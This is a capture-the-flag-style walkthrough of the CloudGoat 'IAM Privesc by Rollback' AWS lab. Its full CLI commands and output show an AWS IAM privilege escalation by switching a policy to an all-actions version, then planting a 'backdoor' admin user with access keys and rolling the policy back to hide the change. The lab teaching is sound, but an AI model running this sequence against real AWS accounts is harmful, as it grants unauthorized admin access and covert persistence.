CloudGoat Series #2: IAM Privesc by Rollback

CloudGoat’s second scenario, titled “IAM Privesc by Rollback”, is an extremely short scenario that teaches AWS IAM policy and versioning. Once again, we’re given access keys for an IAM user and need to gain administrator-level access. However, our path to get there is different in that we need to tamper with the policies available to us.

By enumerating the IAM user’s permissions, we discover that its inline policy has a few different versions to it. A closer look also reveals that the current version gives permissions to perform the SetDefaultPolicyVersion action. With this information, we further enumerate the policy versions and discover that one version allows for all actions. To seal the deal, we rollback the policy to this extremely permissive version and gain the equivalent of admin-level access to the environment.

 
Since this is such a short scenario and it doesn’t have a flag for us to retrieve, I’ve decided to take it a step further and also demonstrate how we can create our own admin user. Remember that there is one caveat to doing this – CloudGoat can only clean up the infrastructure that it provisions. If you perform manual actions to create anything, even a new user, you’ll need to manually destroy it as well.

Enumerating Permissions

We’ll start out by checking the scenario’s start file, which contains the set of access keys for the raynor user, and copy the keys to our credentials file so that we can use them with the AWS CLI.
				
					┌──(mr-b4rt0wsk1㉿kali)-[~/cloudgoat]
└─$ cat iam_privesc_by_rollback_cgidq5mtvqoix5/start.txt 
cloudgoat_output_aws_account_id = [REDACTED]
cloudgoat_output_policy_arn = arn:aws:iam::[REDACTED]:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidq5mtvqoix5
cloudgoat_output_raynor_access_key_id = AKIAIOSFODNN7EXAMPLE
cloudgoat_output_raynor_secret_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
cloudgoat_output_username = raynor-iam_privesc_by_rollback_cgidq5mtvqoix5
               
┌──(mr-b4rt0wsk1㉿kali)-[~/cloudgoat]
└─$ vi ~/.aws/credentials
 
┌──(mr-b4rt0wsk1㉿kali)-[~/cloudgoat]
└─$ cat ~/.aws/credentials                              
[default]

...SNIP...

[raynor]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
				
			
With that completed, we want to check the permissions that raynor has next. To do this, we’ll need to find raynor’s full username, which is conveniently in the start file. Or, if you want to be a CLI guru, you can find it as shown below. The Security Token Service command used can be thought of as the whoami of the AWS CLI.
				
					┌──(mr-b4rt0wsk1㉿kali)-[~]
└─$ aws --profile raynor sts get-caller-identity
{
    "UserId": "AIDA3UTIROIQXEAFIYMZS",
    "Account": "[REDACTED]",
    "Arn": "arn:aws:iam::[REDACTED]:user/raynor-iam_privesc_by_rollback_cgidq5mtvqoix5"
}
 
┌──(mr-b4rt0wsk1㉿kali)-[~]
└─$ aws --profile raynor iam list-attached-user-policies --user-name raynor-iam_privesc_by_rollback_cgidq5mtvqoix5
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgidq5mtvqoix5",
            "PolicyArn": "arn:aws:iam::[REDACTED]:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidq5mtvqoix5"
        }
    ]
}
				
			
What we see in this output is an attached user policy for raynor. To read what it does, we need to get the policy’s default version and then use another command to read that version’s policy document.
				
					┌──(mr-b4rt0wsk1㉿kali)-[~]
└─$ aws --profile raynor iam get-policy --policy-arn arn:aws:iam::[REDACTED]:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidq5mtvqoix5
{
    "Policy": {
        "PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgidq5mtvqoix5",
        "PolicyId": "ANPA3UTIROIQYLCGLDYUL",
        "Arn": "arn:aws:iam::[REDACTED]:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidq5mtvqoix5",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "cg-raynor-policy",
        "CreateDate": "2022-10-08T23:33:41+00:00",
        "UpdateDate": "2022-10-08T23:33:44+00:00",
        "Tags": []
    }
}

┌──(mr-b4rt0wsk1㉿kali)-[~]
└─$ aws --profile raynor iam get-policy-version --policy-arn arn:aws:iam::[REDACTED]:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidq5mtvqoix5 --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "iam:Get*",
                        "iam:List*",
                        "iam:SetDefaultPolicyVersion"
                    ],
                    "Effect": "Allow",
                    "Resource": "*",
                    "Sid": "IAMPrivilegeEscalationByRollback"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2022-10-08T23:33:41+00:00"
    }
}
				
			
The actions allowed by the default version of the policy are to get and list everything IAM-related as well as an action called SetDefaultPolicyVersion. After a quick Google search, this action does exactly what it sounds like. It lets us assign the default policy version for any policy, which is definitely of interest to us. Let’s check for any additional policy versions of the attached user policy.
				
					┌──(mr-b4rt0wsk1㉿kali)-[~]
└─$ aws --profile raynor iam list-policy-versions --policy-arn arn:aws:iam::[REDACTED]:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidq5mtvqoix5
{
    "Versions": [
        {
            "VersionId": "v5",
            "IsDefaultVersion": false,
            "CreateDate": "2022-10-08T23:33:44+00:00"
        },
        {
            "VersionId": "v4",
            "IsDefaultVersion": false,
            "CreateDate": "2022-10-08T23:33:44+00:00"
        },
        {
            "VersionId": "v3",
            "IsDefaultVersion": false,
            "CreateDate": "2022-10-08T23:33:44+00:00"
        },
        {
            "VersionId": "v2",
            "IsDefaultVersion": false,
            "CreateDate": "2022-10-08T23:33:44+00:00"
        },
        {
            "VersionId": "v1",
            "IsDefaultVersion": true,
            "CreateDate": "2022-10-08T23:33:41+00:00"
        }
    ]
}
				
			
Nice, there are a total of 5 versions of this policy. To read what each one does, we’ll use the same command as before when we wanted to read the default policy version (v1). The only change needed to the command is the different version IDs.
				
					┌──(mr-b4rt0wsk1㉿kali)-[~]
└─$ aws --profile raynor iam get-policy-version --policy-arn arn:aws:iam::[REDACTED]:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidq5mtvqoix5 --version-id v2
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": {
                "Effect": "Allow",
                "Action": [
                    "s3:ListBucket",
                    "s3:GetObject",
                    "s3:ListAllMyBuckets"
                ],
                "Resource": "*"
            }
        },
        "VersionId": "v2",
        "IsDefaultVersion": false,
        "CreateDate": "2022-10-08T23:33:44+00:00"
    }
}

┌──(mr-b4rt0wsk1㉿kali)-[~]
└─$ aws --profile raynor iam get-policy-version --policy-arn arn:aws:iam::[REDACTED]:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidq5mtvqoix5 --version-id v3
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": {
                "Effect": "Allow",
                "Action": "iam:Get*",
                "Resource": "*",
                "Condition": {
                    "DateGreaterThan": {
                        "aws:CurrentTime": "2017-07-01T00:00:00Z"
                    },
                    "DateLessThan": {
                        "aws:CurrentTime": "2017-12-31T23:59:59Z"
                    }
                }
            }
        },
        "VersionId": "v3",
        "IsDefaultVersion": false,
        "CreateDate": "2022-10-08T23:33:44+00:00"
    }
}

┌──(mr-b4rt0wsk1㉿kali)-[~]
└─$ aws --profile raynor iam get-policy-version --policy-arn arn:aws:iam::[REDACTED]:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidq5mtvqoix5 --version-id v4
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Action": "*",
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": false,
        "CreateDate": "2022-10-08T23:33:44+00:00"
    }
}
               
┌──(mr-b4rt0wsk1㉿kali)-[~]
└─$ aws --profile raynor iam get-policy-version --policy-arn arn:aws:iam::[REDACTED]:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidq5mtvqoix5 --version-id v5
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": {
                "Effect": "Deny",
                "Action": "*",
                "Resource": "*",
                "Condition": {
                    "NotIpAddress": {
                        "aws:SourceIp": [
                            "192.0.2.0/24",
                            "203.0.113.0/24"
                        ]
                    }
                }
            }
        },
        "VersionId": "v5",
        "IsDefaultVersion": false,
        "CreateDate": "2022-10-08T23:33:44+00:00"
    }
}
				
			
By far, the most interesting to us is v4, which says it will allow us to perform any action. Note that the policies can differ for each version number each time you create this scenario. If you are following along on your own AWS account, the policies and their versions CloudGoat created for you may be different than seen here.

Rollback to a Previous Policy

Recall that we have the permission to set the default policy version for any policy. If we can assign this specific version (v4) as the default version, we’ll be able to give our user the power to perform any action. Let’s give it a shot. There is no output returned for the command to set the default policy, so we can verify that it updated by getting the policy info again and checking the default version ID.
				
					┌──(mr-b4rt0wsk1㉿kali)-[~]
└─$ aws --profile raynor iam set-default-policy-version --policy-arn arn:aws:iam::[REDACTED]:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidq5mtvqoix5 --version-id v4
               
┌──(mr-b4rt0wsk1㉿kali)-[~]
└─$ aws --profile raynor iam get-policy --policy-arn arn:aws:iam::[REDACTED]:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidq5mtvqoix5
{
    "Policy": {
        "PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgidq5mtvqoix5",
        "PolicyId": "ANPA3UTIROIQYLCGLDYUL",
        "Arn": "arn:aws:iam::[REDACTED]:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidq5mtvqoix5",
        "Path": "/",
        "DefaultVersionId": "v4",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "cg-raynor-policy",
        "CreateDate": "2022-10-08T23:33:41+00:00",
        "UpdateDate": "2022-10-09T00:22:09+00:00",
        "Tags": []
    }
}
				
			
The default version ID is now set to v4, so we should now have elevated our permission set! To demonstrate that we can perform any action, we can create a new admin user.

Creating an Admin User

IMPORTANT! If you create a new admin user, you’ll need to clean it up manually since CloudGoat will not do it for us. Don’t worry, I will demonstrate this when we are finished.
 
The quick and dirty way to do this is to:
  1. Create a new IAM user
  2. Get the AdministratorAccess policy ARN and attach it to that user
  3. Create access keys for the new IAM user so that we can use it in the AWS CLI
All of these steps are shown in the code snippet below.
				
					┌──(mr-b4rt0wsk1㉿kali)-[~]
└─$ aws --profile raynor iam create-user --user-name backdoor
{
    "User": {
        "Path": "/",
        "UserName": "backdoor",
        "UserId": "AIDA3UTIROIQYTQJNOJJN",
        "Arn": "arn:aws:iam::[REDACTED]:user/backdoor",
        "CreateDate": "2022-10-09T00:28:06+00:00"
    }
}
 
┌──(mr-b4rt0wsk1㉿kali)-[~]
└─$ aws --profile raynor iam list-policies | grep AdministratorAccess
            "PolicyName": "AdministratorAccess",
            "Arn": "arn:aws:iam::aws:policy/AdministratorAccess",
            "PolicyName": "AdministratorAccess-Amplify",
            "Arn": "arn:aws:iam::aws:policy/AdministratorAccess-Amplify",
            "PolicyName": "AdministratorAccess-AWSElasticBeanstalk",
            "Arn": "arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk",
            "PolicyName": "AWSAuditManagerAdministratorAccess",
            "Arn": "arn:aws:iam::aws:policy/AWSAuditManagerAdministratorAccess",
 
┌──(mr-b4rt0wsk1㉿kali)-[~]
└─$ aws --profile raynor iam attach-user-policy --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

┌──(mr-b4rt0wsk1㉿kali)-[~]
└─$ aws --profile raynor iam create-access-key --user-name backdoor
{
    "AccessKey": {
        "UserName": "backdoor",
        "AccessKeyId": "ASIAIRTASDMM5EXAMPLE",
        "Status": "Active",
        "SecretAccessKey": "eRlOaMBtn:LKWE/5TYDLK/bbrTweEXAMPLEKEY",
        "CreateDate": "2022-10-09T00:29:31+00:00"
    }
}

┌──(mr-b4rt0wsk1㉿kali)-[~]
└─$ vi ~/.aws/credentials
 
┌──(mr-b4rt0wsk1㉿kali)-[~]
└─$ cat ~/.aws/credentials
[default]

 ...SNIP...

[raynor]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

[backdoor]
aws_access_key_id = ASIAIRTASDMM5EXAMPLE
aws_secret_access_key = eRlOaMBtn:LKWE/5TYDLK/bbrTweEXAMPLEKEY
				
			
Finally, we will verify that execution was successful by using the new credentials to list out our new user’s attached user policies.
				
					┌──(mr-b4rt0wsk1㉿kali)-[~]
└─$ aws --profile backdoor sts get-caller-identity  
{
    "UserId": "AIDA3UTIROIQYTQJNOJJN",
    "Account": "[REDACTED]",
    "Arn": "arn:aws:iam::[REDACTED]:user/backdoor"
}
 
┌──(mr-b4rt0wsk1㉿kali)-[~]
└─$ aws --profile backdoor iam list-attached-user-policies --user-name backdoor
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}
				
			

Awesome, our new admin user has been created, demonstrating that we have achieved admin-level access with the raynor user.

Covering Tracks and Scenario Cleanup

Finally, we’ll rollback the raynor user’s policy to its original state (v1) to cleanup after ourselves in an effort to not raise any suspicion. Depending on the level of logging and incident response maturity within an enterprise, creating the admin IAM user might have raised some alarms, but it’ll do for the purposes of our lab scenario.
				
					┌──(mr-b4rt0wsk1㉿kali)-[~]
└─$ aws --profile raynor iam set-default-policy-version --policy-arn arn:aws:iam::[REDACTED]:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidq5mtvqoix5 --version-id v1
               
┌──(mr-b4rt0wsk1㉿kali)-[~]
└─$ aws --profile raynor iam get-policy --policy-arn arn:aws:iam::[REDACTED]:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidq5mtvqoix5
{
    "Policy": {
        "PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgidq5mtvqoix5",
        "PolicyId": "ANPA3UTIROIQYLCGLDYUL",
        "Arn": "arn:aws:iam::[REDACTED]:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidq5mtvqoix5",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "cg-raynor-policy",
        "CreateDate": "2022-10-08T23:33:41+00:00",
        "UpdateDate": "2022-10-09T00:38:38+00:00",
        "Tags": []
    }
}
				
			
Even with the policy rolled back to its original state, our new admin user still exists and we can masquerade throughout the AWS account doing what we please.
 
That’s cool and all, but we’re done here. The easiest way to clean up the admin user we created is to login to your AWS console and delete it. Enter the username to confirm this and you’re done. You’re also able to do this through the CLI, but there’s a little more work involved as outlined in the docs here.
Deleting the user in AWS Console
Fig. 1: Deleting the user in AWS Console
Confirming deletion in AWS Console
Fig. 2: Confirming deletion in AWS Console
Stay tuned for the next scenario, and happy hacking!